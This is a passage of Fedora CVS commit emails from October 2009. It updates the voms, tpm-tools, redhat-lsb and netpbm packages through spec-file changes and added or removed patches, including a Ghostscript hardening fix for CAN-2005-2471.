---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 05:02:18 -0000	1.2
+++ voms.spec	21 Oct 2009 16:04:09 -0000	1.3
@@ -1,5 +1,5 @@
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -8,9 +8,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -59,6 +59,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -166,6 +169,7 @@ administrate it remotely using command l
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -357,6 +361,9 @@ fi
 %doc INSTALL.Fedora
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From michich at fedoraproject.org  Wed Oct 21 16:04:43 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Wed, 21 Oct 2009 16:04:43 +0000 (UTC)
Subject: rpms/tpm-tools/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 tpm-tools.spec, 1.9,
	1.10 tpm-tools-1.3.3-check-fwrite-success.patch, 1.1, NONE
Message-ID: <20091021160443.6B30711C00E8@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/tpm-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28950

Modified Files:
	.cvsignore sources tpm-tools.spec 
Removed Files:
	tpm-tools-1.3.3-check-fwrite-success.patch 
Log Message:
* Wed Oct 21 2009 Michal Schmidt <mschmidt at redhat.com> - 1.3.4-1
- Upstream release 1.3.4:
  - adds SRK password support on unsealing
- LICENSE is back.
- Remove no longer needed patch:
  tpm-tools-1.3.3-check-fwrite-success.patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tpm-tools/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Aug 2009 14:19:00 -0000	1.3
+++ .cvsignore	21 Oct 2009 16:04:43 -0000	1.4
@@ -1 +1 @@
-tpm-tools-1.3.3-1.tar.gz
+tpm-tools-1.3.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tpm-tools/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Aug 2009 14:19:00 -0000	1.3
+++ sources	21 Oct 2009 16:04:43 -0000	1.4
@@ -1 +1 @@
-a3d9c657a3dfe1978ecc300108da708a  tpm-tools-1.3.3-1.tar.gz
+a07183c6e5ea51a847adf7208c2b078f  tpm-tools-1.3.4.tar.gz


Index: tpm-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tpm-tools/devel/tpm-tools.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- tpm-tools.spec	21 Aug 2009 16:13:41 -0000	1.9
+++ tpm-tools.spec	21 Oct 2009 16:04:43 -0000	1.10
@@ -1,7 +1,6 @@
 %global name            tpm-tools
-%global version         1.3.3
-%global tarballrev      -1
-%global release         2
+%global version         1.3.4
+%global release         1
 
 Name:             %{name}
 Summary:          Management tools for the TPM hardware
@@ -9,8 +8,7 @@ Version:          %{version}
 Release:          %{release}%{?dist}
 License:          CPL
 Group:            Applications/System
-Source0:          http://downloads.sourceforge.net/trousers/%{name}-%{version}%{tarballrev}.tar.gz
-Patch0:           %{name}-1.3.3-check-fwrite-success.patch
+Source0:          http://downloads.sourceforge.net/trousers/%{name}-%{version}.tar.gz
 URL:              http://trousers.sourceforge.net
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:    trousers-devel openssl-devel opencryptoki-devel
@@ -44,7 +42,6 @@ for developing tpm-tools applications.
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
 %configure --disable-rpath
@@ -67,7 +64,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README
+%doc LICENSE README
 %attr(755, root, root) %{_bindir}/tpm_*
 %attr(755, root, root) %{_sbindir}/tpm_*
 %attr(755, root, root) %{_libdir}/libtpm_unseal.so.?.?.?
@@ -87,6 +84,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/tpmUnseal*
 
 %changelog
+* Wed Oct 21 2009 Michal Schmidt <mschmidt at redhat.com> - 1.3.4-1
+- Upstream release 1.3.4:
+  - adds SRK password support on unsealing
+- LICENSE is back.
+- Remove no longer needed patch:
+  tpm-tools-1.3.3-check-fwrite-success.patch
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.3.3-2
 - rebuilt with new openssl
 


--- tpm-tools-1.3.3-check-fwrite-success.patch DELETED ---



From spot at fedoraproject.org  Wed Oct 21 16:04:53 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 21 Oct 2009 16:04:53 +0000 (UTC)
Subject: rpms/redhat-lsb/F-10 redhat-lsb.spec,1.42,1.43
Message-ID: <20091021160453.2168311C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29004

Modified Files:
	redhat-lsb.spec 
Log Message:
drop BR: glibc-static


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/F-10/redhat-lsb.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- redhat-lsb.spec	21 Oct 2009 15:46:20 -0000	1.42
+++ redhat-lsb.spec	21 Oct 2009 16:04:53 -0000	1.43
@@ -49,7 +49,7 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 6%{?dist}
+Release: 6%{?dist}.1
 URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
@@ -57,7 +57,6 @@ Patch1: redhat-lsb-lsb_start_daemon-fix.
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
-BuildRequires: glibc-static
 # dependency for primary LSB application for v1.3
 Provides: lsb = %{version}
 # dependency for primary LSB application for v2.0 and v3.0
@@ -647,6 +646,9 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6.1
+- drop glibc-static as a BR for F-10 package
+
 * Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
 - apply fix from bz485367 (thanks to Jon Thomas)
 



From jnovy at fedoraproject.org  Wed Oct 21 16:06:20 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 16:06:20 +0000 (UTC)
Subject: rpms/netpbm/F-12 netpbm-CAN-2005-2471.patch, NONE,
	1.1 netpbm-bmptopnm.patch, NONE, 1.1 netpbm-gcc4.patch, NONE,
	1.1 netpbm-glibc.patch, NONE, 1.1 netpbm-message.patch, NONE,
	1.1 netpbm-multilib.patch, NONE, 1.1 netpbm-nodoc.patch, NONE,
	1.1 netpbm-pamscale.patch, NONE, 1.1 netpbm-pnmdepth.patch, NONE,
	1.1 netpbm-pnmtofiasco-stdin.patch, NONE,
	1.1 netpbm-ppmtompeg.patch, NONE, 1.1 netpbm-security-code.patch,
	NONE, 1.1 netpbm-security-scripts.patch, NONE,
	1.1 netpbm-svgtopam.patch, NONE, 1.1 netpbm-time.patch, NONE,
	1.1 netpbm-xwdfix.patch, NONE, 1.1 .cvsignore, 1.58,
	1.59 netpbm.spec, 1.145, 1.146 sources, 1.62,
	1.63 netpbm-10.17-time.patch, 1.1,
	NONE netpbm-10.19-message.patch, 1.2,
	NONE netpbm-10.22-security2.patch, 1.5,
	NONE netpbm-10.23-security.patch, 1.22,
	NONE netpbm-10.24-nodoc.patch, 1.1,
	NONE netpbm-10.27-bmptopnm.patch, 1.5,
	NONE netpbm-10.28-CAN-2005-2471.patch, 1.2,
	NONE netpbm-10.28-gcc4.patch, 1.2,
	NONE netpbm-10.31-xwdfix.patch, 1.2,
	NONE netpbm-10.32-pnmdepth.patch, 1.1,
	NONE netpbm-10.33-multilib.patch, 1.1,
	NONE netpbm-10.33-ppmtompeg.patch, 1.3,
	NONE netpbm-10.34-pamscale.patch, 1.1,
	NONE netpbm-10.35-64bitfix.patch, 1.1,
	NONE netpbm-10.35-configfix.patch, 1.1,
	NONE netpbm-10.35-gcc43.patch, 1.1,
	NONE netpbm-10.35-glibc.patch, 1.3,
	NONE netpbm-10.35-pnmmontagefix.patch, 1.1,
	NONE netpbm-10.35-pnmtofiasco-stdin.patch, 1.1,
	NONE netpbm-10.35-rgbtxt.patch, 1.1,
	NONE netpbm-10.35-svgtopam.patch, 1.3,
	NONE netpbm-9.24-strip.patch, 1.1, NONE
Message-ID: <20091021160620.32A4611C029A@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29438

Modified Files:
	.cvsignore netpbm.spec sources 
Added Files:
	netpbm-CAN-2005-2471.patch netpbm-bmptopnm.patch 
	netpbm-gcc4.patch netpbm-glibc.patch netpbm-message.patch 
	netpbm-multilib.patch netpbm-nodoc.patch netpbm-pamscale.patch 
	netpbm-pnmdepth.patch netpbm-pnmtofiasco-stdin.patch 
	netpbm-ppmtompeg.patch netpbm-security-code.patch 
	netpbm-security-scripts.patch netpbm-svgtopam.patch 
	netpbm-time.patch netpbm-xwdfix.patch 
Removed Files:
	netpbm-10.17-time.patch netpbm-10.19-message.patch 
	netpbm-10.22-security2.patch netpbm-10.23-security.patch 
	netpbm-10.24-nodoc.patch netpbm-10.27-bmptopnm.patch 
	netpbm-10.28-CAN-2005-2471.patch netpbm-10.28-gcc4.patch 
	netpbm-10.31-xwdfix.patch netpbm-10.32-pnmdepth.patch 
	netpbm-10.33-multilib.patch netpbm-10.33-ppmtompeg.patch 
	netpbm-10.34-pamscale.patch netpbm-10.35-64bitfix.patch 
	netpbm-10.35-configfix.patch netpbm-10.35-gcc43.patch 
	netpbm-10.35-glibc.patch netpbm-10.35-pnmmontagefix.patch 
	netpbm-10.35-pnmtofiasco-stdin.patch netpbm-10.35-rgbtxt.patch 
	netpbm-10.35-svgtopam.patch netpbm-9.24-strip.patch 
Log Message:
* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
- update to 10.47.04 (it is now stable) (#529525)
- fixes #502917, #482850, #482847


netpbm-CAN-2005-2471.patch:
 pstopnm.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-CAN-2005-2471.patch ---
--- netpbm-10.29/converter/other/pstopnm.c.CAN-2005-2471	2005-08-15 02:39:46.000000000 +0200
+++ netpbm-10.29/converter/other/pstopnm.c	2005-08-16 15:38:15.000000000 +0200
@@ -711,11 +711,11 @@
                    "'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'",
                    ghostscriptProg, arg0,
                    deviceopt, outfileopt, gopt, ropt, "-q", "-dNOPAUSE", 
-                   "-dSAFER", "-");
+                   "-dPARANOIDSAFER", "-");
     }
 
     execl(ghostscriptProg, arg0, deviceopt, outfileopt, gopt, ropt, "-q",
-          "-dNOPAUSE", "-dSAFER", "-", NULL);
+          "-dNOPAUSE", "-dPARANOIDSAFER", "-", NULL);
     
     pm_error("execl() of Ghostscript ('%s') failed, errno=%d (%s)",
              ghostscriptProg, errno, strerror(errno));

netpbm-bmptopnm.patch:
 bmptopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-bmptopnm.patch ---
--- netpbm-10.35/converter/other/bmptopnm.c.bmptopnm	2007-01-29 13:08:46.000000000 +0100
+++ netpbm-10.35/converter/other/bmptopnm.c	2007-01-29 13:32:21.000000000 +0100
@@ -1262,7 +1262,7 @@ readBmp(FILE *               const ifP, 
         xel **               const colormapP,
         bool                 const verbose) {
 
-    xel * colormap;  /* malloc'ed */
+    xel * colormap = NULL;  /* malloc'ed */
     unsigned int pos;
         /* Current byte position in the BMP file */
 

netpbm-gcc4.patch:
 lib/pm.h  |    1 +
 urt/rle.h |    1 +
 2 files changed, 2 insertions(+)

--- NEW FILE netpbm-gcc4.patch ---
--- netpbm-10.30/lib/pm.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/lib/pm.h	2005-10-21 12:20:03.000000000 +0200
@@ -18,6 +18,7 @@
 #include <sys/types.h>
 #include <ctype.h>
 #include <stdio.h>
+#include <string.h>
 #include <errno.h>
 #include <setjmp.h>
 #include <sys/stat.h>
--- netpbm-10.30/urt/rle.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/urt/rle.h	2005-10-21 12:21:31.000000000 +0200
@@ -36,6 +36,7 @@
 #include "rle_config.h"     /* Configuration parameters. */
 
 #include <stdio.h>      /* Declare FILE. */
+#include <string.h>
 
 #ifdef c_plusplus
 #define USE_PROTOTYPES

netpbm-glibc.patch:
 pnmtotiffcmyk.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-glibc.patch ---
--- netpbm-10.35/converter/other/pnmtotiffcmyk.c.glibc	2006-09-18 12:20:06.000000000 +0200
+++ netpbm-10.35/converter/other/pnmtotiffcmyk.c	2007-08-23 09:18:30.000000000 +0200
@@ -974,8 +974,8 @@ int main( int argc, char **argv ) {
 
   if ( (err = parseOpts( argc, argv, rt )) ) goto exit ;
   
-  if ( (err = rt->in->open( rt->in, rt )) ) goto exit ;
-  if ( (err = rt->out->open( rt->out, rt )) ) goto exit ;
+  if ( (err = (rt->in->open)( rt->in, rt )) ) goto exit ;
+  if ( (err = (rt->out->open)( rt->out, rt )) ) goto exit ;
 
   while ( rt->in->hasMore( rt->in ) ) {
     if ( (err = rt->in->next( rt->in, &r, &g, &b )) ) goto exit ;

netpbm-message.patch:
 giftopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-message.patch ---
diff -up netpbm-10.47.04/converter/other/giftopnm.c.message netpbm-10.47.04/converter/other/giftopnm.c
--- netpbm-10.47.04/converter/other/giftopnm.c.message	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/giftopnm.c	2009-10-21 14:34:42.000000000 +0200
@@ -1676,7 +1676,7 @@ convertImages(FILE * const ifP, 
                          imageSeq, imageSeq > 1 ? "s" : "");
         } else {
             if (verbose)
-                pm_message("Reading Image Sequence %d", imageSeq);
+                pm_message("Reading Image Sequence %d", imageSeq+1);
             convertImage(ifP, !allImages && (imageSeq != requestedImageSeq), 
                          imageout_file, alphafile, gifScreen, gif89,
                          tolerateBadInput);

netpbm-multilib.patch:
 endiangen.c |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE netpbm-multilib.patch ---
diff -up netpbm-10.47.04/buildtools/endiangen.c.multilib netpbm-10.47.04/buildtools/endiangen.c
--- netpbm-10.47.04/buildtools/endiangen.c.multilib	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/buildtools/endiangen.c	2009-10-21 14:35:58.000000000 +0200
@@ -87,7 +87,6 @@ main(int argc, char **argv) {
            byteOrder() == ENDIAN_LITTLE ? "LITTLE_ENDIAN" : "BIG_ENDIAN");
     printf("#endif\n");
     printf("\n");
-    printf("#define BITS_PER_LONG %u\n", bitsPerLong());
 
     return 0;
 }

netpbm-nodoc.patch:
 GNUmakefile |    6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

--- NEW FILE netpbm-nodoc.patch ---
--- netpbm-10.24/GNUmakefile.nodoc	2004-08-11 20:41:54.000000000 +0200
+++ netpbm-10.24/GNUmakefile	2004-09-23 16:08:29.724369240 +0200
@@ -275,16 +275,12 @@
 endif
 
 .PHONY: install.manweb
-install.manweb: $(PKGDIR)/man/web/netpbm.url $(PKGDIR)/bin/doc.url
+install.manweb: $(PKGDIR)/man/web/netpbm.url
 
 $(PKGDIR)/man/web/netpbm.url: $(PKGDIR)/man/web
 	echo "$(NETPBM_DOCURL)" > $@
 	chmod $(INSTALL_PERM_MAN) $@
 
-$(PKGDIR)/bin/doc.url: $(PKGDIR)/bin
-	echo "$(NETPBM_DOCURL)" > $@
-	chmod $(INSTALL_PERM_MAN) $@
-
 .PHONY: install-dev
 # Note that you might install the development package and NOT the runtime
 # package.  If you have a special system for building stuff, maybe for 

netpbm-pamscale.patch:
 pamscale.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE netpbm-pamscale.patch ---
--- netpbm-10.34/editor/pamscale.c.pamscale	2006-03-16 01:33:49.000000000 +0100
+++ netpbm-10.34/editor/pamscale.c	2006-08-12 20:12:14.000000000 +0200
@@ -2081,6 +2081,8 @@
     struct pam inpam, outpam;
     float xscale, yscale;
 
+    memset(&cmdline, 0, sizeof(cmdline));
+
     pnm_init(&argc, argv);
 
     parseCommandLine(argc, argv, &cmdline);

netpbm-pnmdepth.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-pnmdepth.patch ---
--- netpbm-10.32/other/Makefile.pnmdepth	2006-01-03 23:47:15.000000000 +0100
+++ netpbm-10.32/other/Makefile	2006-04-03 14:53:17.000000000 +0200
@@ -66,7 +66,7 @@
 	  $(SYMLINK) pamsplit$(EXE) pnmsplit
 # In February 2006, pamdepth replaced pnmdepth
 	cd $(PKGDIR)/bin ; \
-	  rm -f pnmsdepth ; \
-	  $(SYMLINK) pnmsdepth$(EXE) pnmdepth
+	  rm -f pnmdepth ; \
+	  $(SYMLINK) pamdepth$(EXE) pnmdepth
 
 FORCE:

netpbm-pnmtofiasco-stdin.patch:
 codec/coder.c |   20 ++++++++++++++++----
 codec/wfa.h   |    3 +++
 lib/image.c   |    2 +-
 lib/image.h   |    6 ++++++
 4 files changed, 26 insertions(+), 5 deletions(-)

--- NEW FILE netpbm-pnmtofiasco-stdin.patch ---
diff -up netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/coder.c
--- netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/coder.c	2009-01-21 08:03:00.000000000 +0100
@@ -213,15 +213,14 @@ alloc_coder (char const * const *inputna
     */
    {
       char     *filename;
-      int   	width, w = 0, height, h = 0;
+      int   	width, w = 0, height, h = 0, format;
       bool_t	color, c = NO;
+      xelval maxval;
       unsigned 	n;
       
       for (n = 0; (filename = get_input_image_name (inputname, n)); n++)
       {
           FILE *file;
-          xelval maxval;
-          int format;
           if (filename == NULL)
               file = stdin;
           else
@@ -251,6 +250,8 @@ alloc_coder (char const * const *inputna
       wi->width  = w;
       wi->height = h;
       wi->color  = c;
+      wi->format = format;
+      wi->maxval = maxval;
    }
 
    /*
@@ -642,7 +643,18 @@ video_coder (char const * const *image_t
        */
       future_frame   = frame == future_display;
       c->mt->number   = frame;
-      c->mt->original = read_image (image_name);
+      if (strcmp(image_name, "-")) {
+         c->mt->original = read_image (image_name);
+      } else { /* stdin is not seekable - read image contents without rewind */
+	 int width = wfa->wfainfo->width;
+	 int height = wfa->wfainfo->height;
+	 int color = wfa->wfainfo->color;
+	 int format = wfa->wfainfo->format;
+	 xelval maxval = wfa->wfainfo->maxval;
+
+	 c->mt->original = alloc_image(width, height, color, FORMAT_4_4_4);
+	 read_image_data(c->mt->original, stdin, color, width, height, maxval, format);
+      }
       if (c->tiling->exponent && type == I_FRAME) 
 	 perform_tiling (c->mt->original, c->tiling);
 
diff -up netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/wfa.h
--- netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/wfa.h	2009-01-21 08:03:28.000000000 +0100
@@ -75,6 +75,7 @@ typedef struct range_info
    unsigned level;			/* bintree level of range */
 } range_info_t;
 
+#include "pnm.h"
 #include "image.h"
 #include "rpf.h"
 #include "bit-io.h"
@@ -93,6 +94,8 @@ typedef struct wfa_info
    unsigned  width;			/* image width */
    unsigned  height;			/* image height */
    unsigned  level;			/* image level */
+   unsigned  format;			/* image format */
+   xelval    maxval;			/* image maximal pixel intensity value */
    rpf_t    *rpf;			/* Standard reduced precision format */
    rpf_t    *dc_rpf;			/* DC reduced precision format */
    rpf_t    *d_rpf;			/* Delta reduced precision format */
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.c
--- netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.c	2009-01-21 08:01:53.000000000 +0100
@@ -273,7 +273,7 @@ free_image (image_t *image)
 }
 
 
-static void 
+void 
 read_image_data(image_t * const image, FILE *input, const bool_t color,
                 const int width, const int height, const xelval maxval,
                 const int format) {
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.h
--- netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.h	2009-01-21 08:02:29.000000000 +0100
@@ -17,6 +17,8 @@
 #ifndef _IMAGE_H
 #define _IMAGE_H
 
+#include "pnm.h"
+
 #include <stdio.h>
 #include "types.h"
 #include "fiasco.h"
@@ -51,6 +53,10 @@ read_pnmheader (const char *image_name, 
 image_t *
 read_image (const char *image_name);
 void
+read_image_data(image_t * const image, FILE *input, const bool_t color,
+                const int width, const int height, const xelval maxval,
+                const int format);
+void
 write_image (const char *image_name, const image_t *image);
 bool_t
 same_image_type (const image_t *img1, const image_t *img2);

netpbm-ppmtompeg.patch:
 fsize.c    |    3 +--
 parallel.c |    2 --
 2 files changed, 1 insertion(+), 4 deletions(-)

--- NEW FILE netpbm-ppmtompeg.patch ---
--- netpbm-10.35/converter/ppm/ppmtompeg/fsize.c.ppmtompeg	2006-09-18 12:20:24.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/fsize.c	2006-09-18 13:35:53.000000000 +0200
@@ -115,8 +115,7 @@ Fsize_Note(int          const id,
     Fsize_Validate(&Fsize_x, &Fsize_y);
 
     if ((Fsize_x == 0) || (Fsize_y == 0)) {
-        fprintf(stderr,"Frame %d:  size is less than the minimum: %d x %d!\n",
-                id, DCTSIZE*2, DCTSIZE*2);
+    	fprintf(stderr,"Frame %d: image dimensions need to be integer multiples of 16 for ppmtompeg!\n",id);
         exit(1);
     }
 
--- netpbm-10.35/converter/ppm/ppmtompeg/parallel.c.ppmtompeg	2006-09-18 13:30:49.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/parallel.c	2006-09-18 13:32:24.000000000 +0200
@@ -1316,8 +1316,6 @@ CombineServer(int          const numFram
   TransmitPortNum(masterHostName, masterPortNum, combinePortNum);
   
   close(outputServerSocket);
-
-  fclose(ofP);
 }
 
 

netpbm-security-code.patch:
 analyzer/pgmtexture.c              |    9 +++++
 converter/other/gemtopnm.c         |    1 
 converter/other/jpegtopnm.c        |    2 +
 converter/other/pbmtopgm.c         |    1 
 converter/other/pnmtoddif.c        |    2 +
 converter/other/pnmtojpeg.c        |    9 +++++
 converter/other/pnmtops.c          |   12 +++++--
 converter/other/pnmtorle.c         |    2 +
 converter/other/pnmtosgi.c         |   19 ++++++++++++
 converter/other/rletopnm.c         |    2 +
 converter/other/sgitopnm.c         |    6 +++
 converter/other/sirtopnm.c         |    1 
 converter/other/tifftopnm.c        |    4 +-
 converter/other/xwdtopnm.c         |    5 +++
 converter/pbm/icontopbm.c          |    6 +++
 converter/pbm/mdatopbm.c           |    5 ++-
 converter/pbm/mgrtopbm.c           |    2 +
 converter/pbm/pbmto10x.c           |    2 -
 converter/pbm/pbmto4425.c          |    3 +
 converter/pbm/pbmtoascii.c         |    2 +
 converter/pbm/pbmtogem.c           |    1 
 converter/pbm/pbmtogo.c            |    1 
 converter/pbm/pbmtoicon.c          |    1 
 converter/pbm/pbmtolj.c            |    4 ++
 converter/pbm/pbmtomacp.c          |    3 +
 converter/pbm/pbmtomda.c           |    1 
 converter/pbm/pbmtoppa/pbm.c       |    4 +-
 converter/pbm/pbmtoppa/pbmtoppa.c  |    1 
 converter/pbm/pbmtoxbm.c           |    2 +
 converter/pbm/pbmtoybm.c           |    1 
 converter/pbm/pbmtozinc.c          |    1 
 converter/pbm/pktopbm.c            |    1 
 converter/pbm/thinkjettopbm.l      |    4 ++
 converter/pbm/ybmtopbm.c           |    1 
 converter/pgm/lispmtopgm.c         |    5 ++-
 converter/pgm/psidtopgm.c          |    1 
 converter/ppm/Makefile             |    2 -
 converter/ppm/ilbmtoppm.c          |   27 +++++++++++++++++
 converter/ppm/imgtoppm.c           |    2 +
 converter/ppm/pcxtoppm.c           |    2 +
 converter/ppm/picttoppm.c          |    2 +
 converter/ppm/pjtoppm.c            |   21 ++++++++-----
 converter/ppm/ppmtoeyuv.c          |    1 
 converter/ppm/ppmtoicr.c           |    2 -
 converter/ppm/ppmtoilbm.c          |    8 ++++-
 converter/ppm/ppmtolj.c            |    3 +
 converter/ppm/ppmtomitsu.c         |    2 +
 converter/ppm/ppmtompeg/iframe.c   |    4 +-
 converter/ppm/ppmtompeg/parallel.c |    4 +-
 converter/ppm/ppmtompeg/psearch.c  |   18 +++++++++++
 converter/ppm/ppmtompeg/rgbtoycc.c |    2 +
 converter/ppm/ppmtopcx.c           |    2 +
 converter/ppm/ppmtopict.c          |    2 +
 converter/ppm/ppmtopj.c            |    1 
 converter/ppm/ppmtopjxl.c          |    8 +++++
